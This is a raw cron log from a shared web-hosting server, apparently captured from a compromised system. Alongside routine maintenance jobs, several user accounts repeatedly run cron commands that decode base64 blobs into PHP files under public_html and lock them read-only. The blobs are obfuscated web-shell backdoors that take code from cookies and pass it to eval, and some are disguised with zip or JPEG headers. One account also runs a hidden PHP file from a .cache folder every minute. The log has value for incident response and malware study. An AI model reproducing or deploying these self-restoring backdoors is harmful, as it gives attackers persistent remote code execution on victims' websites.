Mar  1 11:45:02 medusa CROND[21969]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:45:02 medusa CROND[21971]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:45:02 medusa CROND[21970]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 11:45:02 medusa CROND[21973]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:45:02 medusa CROND[21972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:45:02 medusa CROND[21977]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:45:02 medusa CROND[21977]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:46:01 medusa CROND[12019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:46:01 medusa CROND[12075]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:46:01 medusa CROND[12076]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:46:01 medusa CROND[12079]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:46:01 medusa CROND[12080]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 11:46:01 medusa CROND[12081]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:46:01 medusa CROND[12082]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:46:01 medusa CROND[12083]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 11:46:01 medusa CROND[12085]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:46:01 medusa CROND[12084]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 11:46:01 medusa CROND[12092]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:46:01 medusa CROND[12093]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:46:01 medusa CROND[12094]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:46:01 medusa CROND[12095]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:46:01 medusa CROND[12099]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:47:02 medusa CROND[2466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:47:02 medusa CROND[2467]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:47:02 medusa CROND[2468]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:47:02 medusa CROND[2469]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:47:02 medusa CROND[2470]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:47:02 medusa CROND[2474]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 11:47:02 medusa CROND[2476]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:47:02 medusa CROND[2475]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:47:02 medusa CROND[2481]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:47:02 medusa CROND[2480]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 11:47:02 medusa CROND[2484]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:47:02 medusa CROND[2485]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:47:02 medusa CROND[2487]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:48:01 medusa CROND[24326]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:48:01 medusa CROND[24329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
